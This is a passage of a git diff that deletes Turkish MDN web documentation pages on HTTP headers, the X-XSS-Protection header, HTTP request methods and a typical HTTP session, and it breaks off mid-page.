{{non-standard_inline}}</dt> - <dd>identifies the protocol (HTTP or HTTPS) that a client used to connect to your proxy or load balancer.</dd> - <dt>{{HTTPHeader("Via")}}</dt> - <dd>Added by proxies, both forward and reverse proxies, and can appear in the request headers and the response headers.</dd> -</dl> - -<h2 id="Redirects">Redirects</h2> - -<dl> - <dt>{{HTTPHeader("Location")}}</dt> - <dd>Indicates the URL to redirect a page to.</dd> -</dl> - -<h2 id="Request_context">Request context</h2> - -<dl> - <dt>{{HTTPHeader("From")}}</dt> - <dd>Contains an Internet email address for a human user who controls the requesting user agent.</dd> - <dt>{{HTTPHeader("Host")}}</dt> - <dd>Specifies the domain name of the server (for virtual hosting), and (optionally) the TCP port number on which the server is listening.</dd> - <dt>{{HTTPHeader("Referer")}}</dt> - <dd>The address of the previous web page from which a link to the currently requested page was followed.</dd> - <dt>{{HTTPHeader("Referrer-Policy")}}</dt> - <dd>Governs which referrer information sent in the {{HTTPHeader("Referer")}} header should be included with requests made.</dd> - <dt>{{HTTPHeader("User-Agent")}}</dt> - <dd>Contains a characteristic string that allows the network protocol peers to identify the application type, operating system, software vendor or software version of the requesting software user agent. See also the <a href="/en-US/docs/Web/HTTP/Headers/User-Agent/Firefox">Firefox user agent string reference</a>.</dd> -</dl> - -<h2 id="Response_context">Response context</h2> - -<dl> - <dt>{{HTTPHeader("Allow")}}</dt> - <dd>Lists the set of HTTP request methods support by a resource.</dd> - <dt>{{HTTPHeader("Server")}}</dt> - <dd>Contains information about the software used by the origin server to handle the request.</dd> -</dl> - -<h2 id="Range_requests">Range requests</h2> - -<dl> - <dt>{{HTTPHeader("Accept-Ranges")}}</dt> - <dd>Indicates if the server supports range requests and if so, in which unit the range can be expressed.</dd> - <dt>{{HTTPHeader("Range")}}</dt> - <dd>Indicates the part of a document that the server should return.</dd> - <dt>{{HTTPHeader("If-Range")}}</dt> - <dd>Creates a conditional range request that is only fulfilled if the given etag or date matches the remote resource. Used to prevent downloading two ranges from incompatible version of the resource.</dd> - <dt>{{HTTPHeader("Content-Range")}}</dt> - <dd>Indicates where in a full body message a partial message belongs.</dd> -</dl> - -<h2 id="Security">Security</h2> - -<dl> - <dt>{{HTTPHeader("Content-Security-Policy")}} ({{Glossary("CSP")}})</dt> - <dd>Controls resources the user agent is allowed to load for a given page.</dd> - <dt>{{HTTPHeader("Content-Security-Policy-Report-Only")}}</dt> - <dd>Allows web developers to experiment with policies by monitoring (but not enforcing) their effects. These violation reports consist of {{Glossary("JSON")}} documents sent via an HTTP <code>POST</code> request to the specified URI.</dd> - <dt>{{HTTPHeader("Public-Key-Pins")}} ({{Glossary("HPKP")}})</dt> - <dd>Associates a specific cryptographic public key with a certain web server to decrease the risk of {{Glossary("MITM")}} attacks with forged certificates.</dd> - <dt>{{HTTPHeader("Public-Key-Pins-Report-Only")}}</dt> - <dd>Sends reports to the report-uri specified in the header and does still allow clients to connect to the server even if the pinning is violated.</dd> -</dl> - -<dl> - <dt>{{HTTPHeader("Strict-Transport-Security")}} ({{Glossary("HSTS")}})</dt> - <dd>Force communication using HTTPS instead of HTTP.</dd> - <dt>{{HTTPHeader("Upgrade-Insecure-Requests")}}</dt> - <dd>Sends a signal to the server expressing the client’s preference for an encrypted and authenticated response, and that it can successfully handle the {{CSP("upgrade-insecure-requests")}} directive.</dd> -</dl> - -<dl> - <dt>{{HTTPHeader("X-Content-Type-Options")}}</dt> - <dd>Disables MIME sniffing and forces browser to use the type given in {{HTTPHeader("Content-Type")}}.</dd> -</dl> - -<dl> - <dt>{{HTTPHeader("X-Frame-Options")}} (XFO)</dt> - <dd>Indicates whether a browser should be allowed to render a page in a {{HTMLElement("frame")}}, {{HTMLElement("iframe")}} or {{HTMLElement("object")}}</dd> - <dt>{{HTTPHeader("X-XSS-Protection")}}</dt> - <dd>Enables cross-site scripting filtering.</dd> -</dl> - -<h2 id="Server-sent_events">Server-sent events</h2> - -<dl> - <dt>{{HTTPHeader("Ping-From")}}</dt> - <dd>...</dd> - <dt>{{HTTPHeader("Ping-To")}}</dt> - <dd>...</dd> - <dt>{{HTTPHeader("Last-Event-ID")}}</dt> - <dd>...</dd> -</dl> - -<h2 id="Transfer_coding">Transfer coding</h2> - -<dl> - <dt>{{HTTPHeader("Transfer-Encoding")}}</dt> - <dd>Specifies the the form of encoding used to safely transfer the entity to the user.</dd> - <dt>{{HTTPHeader("TE")}}</dt> - <dd>Specifies the transfer encodings the user agent is willing to accept.</dd> - <dt>{{HTTPHeader("Trailer")}}</dt> - <dd>Allows the sender to include additional fields at the end of chunked message.</dd> -</dl> - -<h2 id="WebSockets">WebSockets</h2> - -<dl> - <dt>{{HTTPHeader("Sec-WebSocket-Key")}}</dt> - <dd>...</dd> - <dt>{{HTTPHeader("Sec-WebSocket-Extensions")}}</dt> - <dd>...</dd> - <dt>{{HTTPHeader("Sec-WebSocket-Accept")}}</dt> - <dd>...</dd> - <dt>{{HTTPHeader("Sec-WebSocket-Protocol")}}</dt> - <dd>...</dd> - <dt>{{HTTPHeader("Sec-WebSocket-Version")}}</dt> - <dd>...</dd> -</dl> - -<h2 id="Other">Other</h2> - -<dl> - <dt>{{HTTPHeader("Date")}}</dt> - <dd>Contains the date and time at which the message was originated.</dd> - <dt>{{HTTPHeader("Large-Allocation")}}</dt> - <dd>Tells the browser that the page being loaded is going to want to perform a large allocation.</dd> - <dt>{{HTTPHeader("Link")}}</dt> - <dd>...</dd> - <dt>{{HTTPHeader("Retry-After")}}</dt> - <dd>Indicates how long the user agent should wait before making a follow-up request.</dd> - <dt>{{HTTPHeader("SourceMap")}}</dt> - <dd>Links generated code to a <a href="/en-US/docs/Tools/Debugger/How_to/Use_a_source_map">source map</a>.</dd> - <dt>{{HTTPHeader("Upgrade")}}</dt> - <dd>The relevant RFC document for the <a href="https://tools.ietf.org/html/rfc7230#section-6.7">Upgrade header field is RFC 7230, section 6.7</a>. The standard establishes rules for upgrading or changing to a different protocol on the current client, server, transport protocol connection. For example, this header standard allows a client to change from HTTP 1.1 to HTTP 2.0, assuming the server decides to acknowledge and implement the Upgrade header field. Niether party is required to accept the terms specified in the Upgrade header field. It can be used in both client and server headers. If the Upgrade header field is specified, then the sender MUST also send the Connection header field with the upgrade option specified. For details on the Connection header field <a href="https://tools.ietf.org/html/rfc7230#section-6.1">please see section 6.1 of the aforementioned RFC</a>.</dd> - <dt>{{HTTPHeader("Vary")}}</dt> - <dd>Determines how to match future request headers to decide whether a cached response can be used rather than requesting a fresh one from the origin server.</dd> - <dt>{{HTTPHeader("X-DNS-Prefetch-Control")}}</dt> - <dd>Controls DNS prefetching, a feature by which browsers proactively perform domain name resolution on both links that the user may choose to follow as well as URLs for items referenced by the document, including images, CSS, JavaScript, and so forth.</dd> - <dt>{{HTTPHeader("X-Firefox-Spdy")}}</dt> - <dd>...</dd> - <dt>{{HTTPHeader("X-Requested-With")}}</dt> - <dd>...</dd> - <dt>{{HTTPHeader("X-UA-Compatible")}}</dt> - <dd>...</dd> -</dl> - -<h2 id="Contributing">Contributing</h2> - -<p>You can help by <a href="/en-US/docs/MDN/Contribute/Howto/Document_an_HTTP_header">writing new entries</a> or improving the existing ones.</p> - -<h2 id="See_also">See also</h2> - -<ul> - <li><a href="https://en.wikipedia.org/wiki/List_of_HTTP_header_fields">Wikipedia page on List of HTTP headers</a></li> - <li><a href="https://www.iana.org/assignments/message-headers/perm-headers.html">IANA registry</a></li> -</ul> diff --git a/files/tr/web/http/headers/x-xss-protection/index.html b/files/tr/web/http/headers/x-xss-protection/index.html deleted file mode 100644 index fede0fd5d4..0000000000 --- a/files/tr/web/http/headers/x-xss-protection/index.html +++ /dev/null @@ -1,77 +0,0 @@ ---- -title: X-XSS-Protection -slug: Web/HTTP/Headers/X-XSS-Protection -translation_of: Web/HTTP/Headers/X-XSS-Protection ---- -<div>{{HTTPSidebar}}</div> - -<p>HTTP X-XSS-Protection yanıt üstbilgisi, Internet Explorer'ın, Chrome'un ve Safari'nin, yansıyan bölgeler arası komut dosyalarını algıladıklarında sayfaların yüklenmesini durduran bir özelliğidir ({{Glossary("XSS")}}) Bu güvenlik önlemleri, modern tarayıcılarda siteler güçlü bir şekilde uygulandığında büyük oranda gerekli olmasa da{{HTTPHeader("Content-Security-Policy")}} satır içi JavaScript kullanımını devre dışı bırakan (<code>'unsafe-inline'</code>), henüz desteklemeyen eski web tarayıcılarının kullanıcıları için koruma sağlayabilirler {{Glossary("CSP")}}.</p> - -<table class="properties"> - <tbody> - <tr> - <th scope="row">Başlık Tipi</th> - <td>{{Glossary("Response header")}}</td> - </tr> - <tr> - <th scope="row">{{Glossary("Yasak başlık adı")}}</th> - <td>no</td> - </tr> - </tbody> -</table> - -<h2 id="Sözdizimi">Sözdizimi</h2> - -<pre class="syntaxbox">X-XSS-Protection: 0 -X-XSS-Protection: 1 -X-XSS-Protection: 1; mode=block -X-XSS-Protection: 1; report=<reporting-uri> -</pre> - -<dl> - <dt>0</dt> - <dd>XSS filtrelemeyi devre dışı bırakır.</dd> - <dt>1</dt> - <dd>XSS filtrelemeyi etkinleştirir (genellikle tarayıcılarda varsayılan). Siteler arası komut dosyası çalıştırma saldırısı tespit edilirse, tarayıcı sayfayı sanitize eder (güvensiz kısımları kaldırır).</dd> - <dt>1; mode=block</dt> - <dd>XSS filtrelemesini etkinleştirir. Sayfa sızdırmaz hale getirmek yerine tarayıcı, bir saldırı tespit edilirse sayfanın görüntülenmesini engeller.</dd> - <dt>1; report=<reporting-URI> (Sadece Chromium)</dt> - <dd>XSS filtrelemesini etkinleştirir. Siteler arası komut dosyası çalıştırma saldırısı tespit edilirse, tarayıcı sayfayı sanitize eder ve ihlali bildirir. Bu, CSP'nin işlevselliğini kullanır{{CSP("report-uri")}} bir rapor göndermek yönergesi.</dd> -</dl> - -<h2 id="Örneğin">Örneğin</h2> - -<p>Yansıyan XSS saldırılarını tespit ettiklerinde sayfaları yüklemeyi engelleyin:</p> - -<pre class="brush: bash">X-XSS-Protection: 1; mode=block</pre> - -<p>PHP</p> - -<pre class="brush: php">header("X-XSS-Protection: 1; mode=block");</pre> - -<p>Apache (.htaccess)</p> - -<pre class="brush: bash"><IfModule mod_headers.c> - Header set X-XSS-Protection "1; mode=block" -</IfModule></pre> - -<h2 id="Özellikler">Özellikler</h2> - -<p>Spesifikasyonların veya taslakların bir parçası değildir.</p> - -<h2 id="Tarayıcı_uyumluluğu">Tarayıcı uyumluluğu</h2> - -<p class="hidden">Bu sayfadaki uyumluluk tablosu yapılandırılmış verilerden oluşturulmuştur. Verilere katkıda bulunmak istiyorsanız, lütfen https://github.com/mdn/browser-compat-data adresini ziyaret edin ve bize bir çekme isteği gönderin.</p> - -<p>{{Compat("http.headers.X-XSS-Protection")}}</p> - -<h2 id="Bunlara_da_bakın">Bunlara da bakın</h2> - -<ul> - <li>{{HTTPHeader("Content-Security-Policy")}}</li> - <li><a href="https://blogs.msdn.microsoft.com/ieinternals/2011/01/31/controlling-the-xss-filter/">Controlling the XSS Filter – Microsoft</a></li> - <li><a href="https://www.virtuesecurity.com/blog/understanding-xss-auditor/">Understanding XSS Auditor – Virtue Security</a></li> - <li> - <p><a href="http://blog.innerht.ml/the-misunderstood-x-xss-protection/">The misunderstood X-XSS-Protection – blog.innerht.ml</a></p> - </li> -</ul> diff --git a/files/tr/web/http/index.html b/files/tr/web/http/index.html deleted file mode 100644 index 0c331a9f9d..0000000000 --- a/files/tr/web/http/index.html +++ /dev/null @@ -1,85 +0,0 @@ ---- -title: HTTP -slug: Web/HTTP -tags: - - HTTP - - HTTP nedir - - Hypertext - - TCP/IP - - Web - - Web Geliştirme -translation_of: Web/HTTP ---- -<div>{{HTTPSidebar}}</div> - -<p class="summary"><span class="seoSummary"><strong><dfn>Hypertext Transfer Protocol (HTTP) hipermedya belgelerinin "HTML gibi" iletilmesi için oluşturulmuş bir <a class="external" href="https://tr.wikipedia.org/wiki/Uygulama_tabakas%C4%B1">uygulama katmanı</a> protokolüdür. HTTP web tarayıcıları ve web sunucuları arasında iletişim için dizayn edilmiştir, fakat diğer amaçlar için kullanılabilir. HTTP klasik <a class="external" href="https://tr.wikipedia.org/wiki/%C4%B0stemci-sunucu">istemci-sunucu modeline</a> uyar, bir istemci bir istek yapmak için bağlantı kurar ve ardından bir yanıt alana kadar bekler. HTTP <a class="external" href="https://en.wikipedia.org/wiki/Stateless_protocol">durumsuz protokoldür</a>, yani sunucu iki istek arasında herhangi bir veri (durum) tutmaz. Genellikle TCP/IP katmanına dayalı olsa da, herhangi bir güvenilir <a class="external" href="http://en.wikipedia.org/wiki/Transport_Layer">taşıma katmanının</a>, mesajları sessizce kaybetmeyen bir protokol "UDP gibi", üzerinde kullanılabilir. </dfn></strong></span><strong><a href="https://en.wikipedia.org/wiki/Reliable_User_Datagram_Protocol">RUDP</a> - UDP'nin güvenilir bir şekilde güncellenmesi - uygun bir alternatiftir.</strong></p> - -<div class="column-container"> -<div class="column-half"> -<h2 id="Dersler">Dersler</h2> - -<p>HTTP'yi rehberler ve dersler ile öğrenin.</p> - -<dl> - <dt><a href="/tr/docs/Web/HTTP/Overview">HTTP'ye Genel Bakış</a></dt> - <dd>İstemci-Sunucu protokolünün temel özellikleri, ne yapabileceği ve kullanım amaçları.</dd> - <dt><a href="/tr/docs/Web/HTTP/Caching">HTTP Önbellek</a></dt> - <dd>Önbellekleme hızlı Web siteleri için çok önemlidir. Bu yazı, farklı önbellekleme metodlarını ve HTTP başlıklarının önbellekleme kontrolü için nasıl kullanılacağını açıklamaktadır.</dd> - <dt><a href="/tr/docs/Web/HTTP/Cookies">HTTP Çerezleri</a></dt> - <dd>Çerezlerin nasıl çalıştığı <a class="external" href="http://tools.ietf.org/html/rfc6265">RFC 6265</a> ile belirlenmiştir. Sunucu bir HTTP isteğini karşılarken, cevap içerisindeki HTTP Header'ında bir <code>Set-Cookie</code> gönderebilir. İstemci bu cookie değerini her istekte <code>Cookie</code> Header'ı içerisinde aynı sunucuya geri gönderir. Cookie değeri belirli bir tarihte sona erecek şekilde ayarlanabilir ya da özel bir etki alanı veya yolu ile sınırlanabilir.</dd> - <dt><a href="/en-US/docs/Web/HTTP/Access_control_CORS">HTTP Erişim Kontrolü (CORS)</a></dt> - <dd><strong>Siteler arası HTTP istekleri</strong>, isteği yapan kaynağın etki alanından <strong>farklı bir etki alanı</strong>na yapılan isteklerdir. Örneğin; Domain A (<code>http://domaina.example/</code>) 'da bulunan bir HTML sayfası, <code>img</code> öğesi aracılığıyla Domain B (<code>http://domainb.foo/image.jpg</code>)'ye bir resim için istek atar. Günümüzde web sayfaları kaynaklarını (CSS stil sayfaları, resimler, betikler ve diğerleri) çoğunlukla cross-site olarak yükler. CORS; web geliştiricilerin sitelerinin, siteler arası isteklere nasıl tepki vereceğini kontrol etmelerini sağlar.</dd> -</dl> - -<dl> - <dt><a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/Evolution_of_HTTP">HTTP'nin Evrimi</a></dt> - <dd>HTTP'nin ilk sürümleri ile modern HTTP / 2 ve sonrası arasındaki değişikliklerin kısa bir açıklaması.</dd> - <dt><a href="https://wiki.mozilla.org/Security/Guidelines/Web_Security">Mozilla web güvenliği kılavuzları</a></dt> - <dd>Operasyonel ekiplere güvenli web uygulamaları oluşturma konusunda yardımcı olacak ipuçları koleksiyonu.</dd> -</dl> - -<dl> - <dt><a href="/tr/docs/Web/HTTP/Mesajlar">HTTP Mesajları</a></dt> - <dd>HTTP / 1.x ve HTTP / 2 türündeki mesajların türünü ve yapısını açıklar.</dd> - <dt><a href="/tr/docs/Web/HTTP/Oturum">Tipik bir HTTP oturumu</a></dt> - <dd>Normal bir HTTP oturumunun akışını gösterir ve açıklar.</dd> - <dt><a href="/en-US/docs/Web/HTTP/Connection_management_in_HTTP_1.x">HTTP/1.x'de bağlantı yönetimi</a></dt> - <dd>HTTP/1.x'de ki 3 bağlantı yönetim modelini ve bunların güçlü ve zayıf yanlarını açıklar.</dd> -</dl> -</div> - -<div class="column-half"> -<h2 id="Referans">Referans</h2> - -<p>Ayrıntılı HTTP referanslarına göz atın.</p> - -<dl> - <dt><a href="/tr/docs/Web/HTTP/Headers">HTTP Başlıkları</a></dt> - <dd>HTTP mesaj başlıkları, bir kaynağı ya da sunucu veya istemcinin davranışını tanımlamak için kullanılır. Özel başlıklar X- öneki ile birlikte eklenebilir, diğerleri ise orijinal içeriği <a class="external" href="http://tools.ietf.org/html/rfc4229">RFC 4229</a>'da tanımlı olan <a class="external" href="https://www.iana.org/assignments/message-headers/message-headers.xhtml">IANA kayıtlarında</a> gösterilmiştir. IANA, aynı zamanda <a class="external" href="https://www.iana.org/assignments/message-headers/message-headers.xhtml">yeni önerilen HTTP mesaj başlıklarının</a> kaydını bulundurur.</dd> - <dt><a href="/tr/docs/Web/HTTP/Metotlar">HTTP İstek Metodları</a></dt> - <dd>HTTP ile yapılabilen farklı işlemler:<br> - {{HTTPMethod("GET")}}, {{HTTPMethod("POST")}}, ve daha az yaygın olan istek metodları, {{HTTPMethod("OPTIONS")}}, {{HTTPMethod("DELETE")}}, veya {{HTTPMethod("TRACE")}}.</dd> - <dt><a href="/tr/docs/Web/HTTP/Status">HTTP Durum Cevap Kodları</a></dt> - <dd>HTTP cevap kodları, belirli bir HTTP isteğinin başarıyla tamamlanıp tamamlanmadığını gösterir. Yanıtlar beş sınıfta gruplandırılmıştır: bilgilendirme yanıtları, başarılı yanıtlar, yönlendirmeler, istemci hataları ve sunucu hataları.</dd> - <dt><a href="/en-US/docs/Web/HTTP/Headers/Content-Security-Policy">CSP talimatları</a></dt> - <dd>{{HTTPHeader ("Content-Security-Policy")}} cevap başlığı alanları; web sitesi yöneticilerinin, user agent(örn. browser)'ın belirli bir sayfa için yüklemesine izin verilen kaynakları kontrol etmesini sağlar. Birkaç istisna dışında, politikalar çoğunlukla sunucu kaynaklarının ve komut dosyası kaynaklarının belirlenmesini içerir.</dd> -</dl> - -<h2 id="Araçlar_kaynaklar">Araçlar & kaynaklar</h2> - -<p>HTTP'yi anlamak ve hata ayıklamak için yardımcı araçlar ve kaynaklar.</p> - -<dl> - <dt><a href="/en-US/docs/Tools">Firefox Developer Tools</a></dt> - <dd><a href="/en-US/docs/Tools/Network_Monitor">Ağ izleyicisi</a></dd> - <dt><a href="https://observatory.mozilla.org/">Mozilla Gözlemevi</a></dt> - <dd> - <p>Proje; geliştiriciler, sistem yöneticileri ve güvenlik uzmanlarının sitelerini korunaklı ve güvenli bir şekilde yapılandırmalarına yardıcı olması için tasarlandı.</p> - </dd> - <dt><a class="external" href="https://redbot.org/">RedBot</a></dt> - <dd>Önbellek ile ilgili HTTP başlıklarını kontrol etmek için araçlar.</dd> - <dt><a href="http://www.html5rocks.com/en/tutorials/internals/howbrowserswork/">Tarayıcılar Nasıl Çalışır</a></dt> - <dd>Tarayıcı içindekiler ve HTTP protokolü üzerinden istek akışı hakkında çok kapsamlı bir makale. Her web gelişticisi KESİNLİKLE-OKUMALI.</dd> -</dl> -</div> -</div> diff --git a/files/tr/web/http/methods/index.html b/files/tr/web/http/methods/index.html deleted file mode 100644 index b31d22a365..0000000000 --- a/files/tr/web/http/methods/index.html +++ /dev/null @@ -1,73 +0,0 @@ ---- -title: HTTP istek metotları -slug: Web/HTTP/Methods -tags: - - HTTP - - Metotlar -translation_of: Web/HTTP/Methods -original_slug: Web/HTTP/metotlar ---- -<div>{{HTTPSidebar}}</div> - -<p><span class="tlid-translation translation" lang="tr">HTTP, belirli bir kaynak üzerinde yapılması istenen eylemi belirten bir dizi <strong>istek metodu</strong> tanımlamaktadır. Bu istek metotları aslında isim olabildiği halde, bazen <em>HTTP fiilleri</em> olarak da adlandırılır. Bunların her biri farklı bir anlam ifade etse de, bazılarının ortak özellikleri bulunur: örneğin bir istek metodu {{glossary ("safe")}}, {{glossary ("idempotent")}} veya {{glossary ("cacheable")}} olabilir.</span></p> - -<dl> - <dt><code><a href="/tr/docs/Web/HTTP/Methods/GET">GET</a></code></dt> - <dd><code>GET</code> metodu <span class="tlid-translation translation" lang="tr"> belirtilen kaynağın bir temsilini ister. </span> <code>GET</code> <span class="tlid-translation translation" lang="tr">kullanan istekler yalnızca veri almalıdır.</span></dd> - <dt><code><a href="/tr/docs/Web/HTTP/Methods/HEAD">HEAD</a></code></dt> - <dd><code>HEAD</code> <span class="tlid-translation translation" lang="tr">metodu </span><code>GET</code> <span class="tlid-translation translation" lang="tr">isteği ile tamamen aynı olan sadece gövdesi olmayan bir yanıt ister.</span></dd> - <dt><code><a href="/tr/docs/Web/HTTP/Methods/POST">POST</a></code></dt> - <dd><code>POST</code> <span class="tlid-translation translation" lang="tr">metodu belirtilen kaynağa bir varlık (entity) göndermek için kullanılır, bu da genellikle sunucuda bir durum değişikliği ya da yan etkilere neden olur.</span></dd> - <dt><code><a href="/tr/docs/Web/HTTP/Methods/PUT">PUT</a></code></dt> - <dd> - <p><code>PUT</code> <span class="tlid-translation translation" lang="tr">metodu hedefte bulunan kaynağın tüm geçerli temsillerinin yerine istek yükünü (request payload) koyar.</span></p> - </dd> - <dt><code><a href="/tr/docs/Web/HTTP/Methods/DELETE">DELETE</a></code></dt> - <dd><code>DELETE</code> metodu belirtilen kaynağı siler.</dd> - <dt><code><a href="/tr/docs/Web/HTTP/Methods/CONNECT">CONNECT</a></code></dt> - <dd> - <p><code>CONNECT</code> metodu <span class="tlid-translation translation" lang="tr">hedefteki kaynak tarafından tanımlanan sunucuya bir tünel oluşturur</span>.</p> - </dd> - <dt><code><a href="/tr/docs/Web/HTTP/Methods/OPTIONS">OPTIONS</a></code></dt> - <dd><code>OPTIONS</code> metodu <span class="tlid-translation translation" lang="tr">hedefteki kaynağın iletişim seçeneklerini tanımlamak için kullanılır.</span></dd> - <dt><code><a href="/tr/docs/Web/HTTP/Methods/TRACE">TRACE</a></code></dt> - <dd> - <p><code>TRACE</code> metodu <span class="tlid-translation translation" lang="tr">hedefteki kaynağa giden yol boyunca bir mesaj loop-back testi gerçekleştirir.</span></p> - </dd> - <dt><code><a href="/tr/docs/Web/HTTP/Methods/PATCH">PATCH</a></code></dt> - <dd><code>PATCH</code> metodu <span class="tlid-translation translation" lang="tr">bir kaynağa kısmi değişiklikler uygulamak için kullanılır.</span></dd> -</dl> - -<h2 id="Tanımlar">Tanımlar</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Specification</th> - <th scope="col">Başlık</th> - <th scope="col">Yorum</th> - </tr> - <tr> - <td>{{RFC("7231", "Request methods", "4")}}</td> - <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> - <td>GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE tanımlanıyor.</td> - </tr> - <tr> - <td>{{RFC("5789", "Patch method", "2")}}</td> - <td>PATCH Method for HTTP</td> - <td>PATCH tanımlanıyor.</td> - </tr> - </tbody> -</table> - -<h2 id="Tarayıcı_uyumluluğu">Tarayıcı uyumluluğu</h2> - -<p class="hidden"><span class="tlid-translation translation" lang="tr">Bu uyumluluk verilerine katkıda bulunmak için, lütfen bu dosya için bir çekme isteği yazın</span>: <a href="https://github.com/mdn/browser-compat-data/blob/master/http/methods.json">https://github.com/mdn/browser-compat-data/blob/master/http/methods.json</a>.</p> - -<p>{{Compat("http/methods")}}</p> - -<h2 id="Bakınız">Bakınız</h2> - -<ul> - <li><a href="/tr/docs/Web/HTTP/Headers">HTTP başlıkları</a></li> -</ul> diff --git a/files/tr/web/http/session/index.html b/files/tr/web/http/session/index.html deleted file mode 100644 index 739b4102a6..0000000000 --- a/files/tr/web/http/session/index.html +++ /dev/null @@ -1,174 +0,0 @@ ---- -title: Tipik bir HTTP oturumu -slug: Web/HTTP/Session -tags: - - HTTP -translation_of: Web/HTTP/Session -original_slug: Web/HTTP/Oturum ---- -<div>{{HTTPSidebar}}</div> - -<p><span class="tlid-translation translation" lang="tr">HTTP gibi istemci-sunucu protokollerinde, oturumlar üç aşamadan oluşur:</span></p> - -<ol> - <li><span class="tlid-translation translation" lang="tr"> İstemci bir TCP bağlantısı kurar (veya taşıma katmanı TCP değilse uygun bir bağlantı kurar).</span></li> - <li><span class="tlid-translation translation" lang="tr">İstemci isteğini gönderir ve cevabı bekler.</span></li> - <li><span class="tlid-translation translation" lang="tr">Sunucu isteği işler, bir durum kodu ve uygun verileri içeren cevabını geri gönderir.</span></li> -</ol> - -<p>HTTP/1.1'den itibaren, artık <span class="tlid-translation translation" lang="tr">üçüncü aşama tamamlandıktan sonra bağlantı kapanmaz ve istemciye başka bir istek daha verilir: yani ikinci ve üçüncü aşamalar artık istenildiği kadar tekrarlanabilir.</span></p> - -<h2 id="Bağlantı_kurma">Bağlantı kurma</h2> - -<p><span class="tlid-translation translation" lang="tr">İstemci-sunucu protokollerinde bağlantıyı kuran istemcidir.</span> <span class="tlid-translation translation" lang="tr">HTTP'de bağlantı açmak, altta yatan taşıma katmanında bağlantı başlatmak anlamına gelir; bu da genellikle TCP'dir</span>.</p> - -<p><span class="tlid-translation translation" lang="tr">TCP ile bir bilgisayardaki HTTP sunucusu için varsayılan port 80'dir. 8000 veya 8080 gibi diğer portlar da kullanılabilir. </span> Getirilecek <span class="tlid-translation translation" lang="tr">sayfanın URL'si, alan adını ve port numarasını içerir; eğer port 80 ise yazılmasa da olur</span>. Ayrıntılı bilgi için bakınız: <a href="/tr/docs/Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web">Web'de kaynakları belirleme</a>.</p> - -<div class="note"><strong>Not:</strong> <span class="tlid-translation translation" lang="tr">İstemci-sunucu modeli, sunucunun istemciye açık bir istek olmadan veri göndermesine izin vermez. Bu soruna geçici bir çözüm bulmak için, web geliştiricileri bazı teknikler kullanmaktadır:</span> {{domxref("XMLHTTPRequest")}}, {{domxref("Fetch")}} API , <a href="/en/WebSockets" title="en/WebSockets">WebSockets API</a>, veya benzer protokolleri kullanarak düzenli aralıklarla sunucu ping'lenir.</div> - -<h2 id="İstemci_isteği_gönderimi">İstemci isteği gönderimi</h2> - -<p>Bağlantı kurulduktan sonra, kullanıcı aracısı -user agent- istek gönderebilir (kullanıcı aracısı genellikle bir web tarayıcısıdır, ancak crawler gibi başka bir program da olabilir). Bir istemci isteği, CRLF ile ayrılan (satır başı, ardından satır sonu karakteri), üç bloğa bölünmüş metin direktiflerinden oluşur:</p> - -<ol> - <li>İlk satırda bir istek yöntemi ve ardından gelen parametreleri bulunur: - <ul> - <li>belgenin yolu, yani protokol veya alan adı olmayan mutlak bir URL</li> - <li>HTTP protokolü sürümü</li> - </ul> - </li> - <li>Sonraki satırlar sunucuya hangi tür verilerin uygun olduğu (kullanılacak dil veya MIME türleri gibi) veya davranışını değiştiren başka veriler (örneğin önbelleğe alınmışsa bir yanıt göndermeme) hakkında bilgi veren bir HTTP başlığını temsil eder. Bu HTTP başlıkları boş bir satırla biten bir blok oluşturur.</li> - <li>Son blok genellikle POST metodu tarafından kullanılan ek verileri barındıran isteğe bağlı bir veri bloğudur.</li> -</ol> - -<h3 id="İstek_örnekleri">İstek örnekleri</h3> - -<p>developer.mozilla.org sitesinin kök sayfasını yani <a class="linkification-ext external" href="/" title="Linkification: http://developer.mozilla.org/">http://developer.mozilla.org/</a> sayfasını getirme, ve sunucuya kullanıcı aracısının sayfayı mümkünse Fransızca olarak tercih ettiğini bildirmek:</p> - -<pre>GET / HTTP/1.1 -Host: developer.mozilla.org -Accept-Language: fr -</pre> - -<p>Sondaki boş satırın veri bloğunu başlık bloğundan ayırdığına dikkat ediniz. HTTP başlığı olarak <code>Content-Length</code> belirtilmediğinden bu veri bloğu boş olarak sunulur, böylece başlıkların bittiğini işaret ederek sunucunun bu boş satırı alır almaz isteği işlemesine imkan verir.</p> - -<p>Örneğin bir formun sonucunu gönderme:</p> - -<pre>POST /iletisim_formu.php HTTP/1.1 -Host: developer.mozilla.org -Content-Length: 64 -Content-Type: application/x-www-form-urlencoded - -adi=Joe%20Kullanici&istegi=Bana%20bir%20katalog%20gonderir%20misiniz -</pre> - -<h3 id="İstek_metotları">İstek metotları</h3> - -<p>HTTP protokolü bir kaynak üzerinde gerçekleştirilmek istenen eylemi belirten bir dizi <a href="/tr/docs/Web/HTTP/Methods">istek metodu</a> tanımlamaktadır. Bu isteklere aslında isim de olabildikleri halde HTTP fiileri de denilir. En sık kullanılan istekler <code>GET</code> ve <code>POST</code>'tur:</p> - -<ul> - <li>{{HTTPMethod("GET")}} metodu belirtilen kaynağın bir veri temsilini talep eder. <code>GET</code> ile yapılan istekler yalnızca veri almalıdır.</li> - <li>{{HTTPMethod("POST")}} metodu sunucuya durumunu değiştirmesi için veri gönderir. <a href="/tr/docs/Web/Guide/HTML/Forms">HTML Formları</a>'nda genellikle bu metot kullanılır.</li> -</ul> - -<h2 id="Sunucu_yanıtının_yapısı">Sunucu yanıtının yapısı</h2> - -<p>Bağlanan aracı isteğini gönderdikten sonra, web sunucusu isteği işler ve sonuçta bir yanıt verir. İstemci isteğine benzer şekilde, sunucunun yanıtı CRLF ile ayrılan ve üç bloğa bölünmüş metin direktiflerinden oluşur:</p> - -<ol> - <li>İlk satır, <em>durum satırı</em>, kullanılan HTTP sürümünün onayı ve ardından bir durum isteğinden (ve insan tarafından okunabilen kısa bir açıklamadan) oluşur.</li> - <li>Sonraki satırlar gönderilen veri hakkında istemciye bilgi veren (tür, veri boyutu, kullanılan sıkıştırma algoritması, önbelleğe alma hakkında ipuçları vb.) belirli HTTP başlıklarını içerir. İstemci isteğinde olduğu gibi, bu HTTP başlıkları da boş bir satırla biten bir blok oluşturur.</li> - <li>Son blok isteğe bağlı verileri içeren bir veri bloğudur.</li> -</ol> - -<h3 id="Cevap_örnekleri">Cevap örnekleri</h3> - -<p>Başarılı bir web 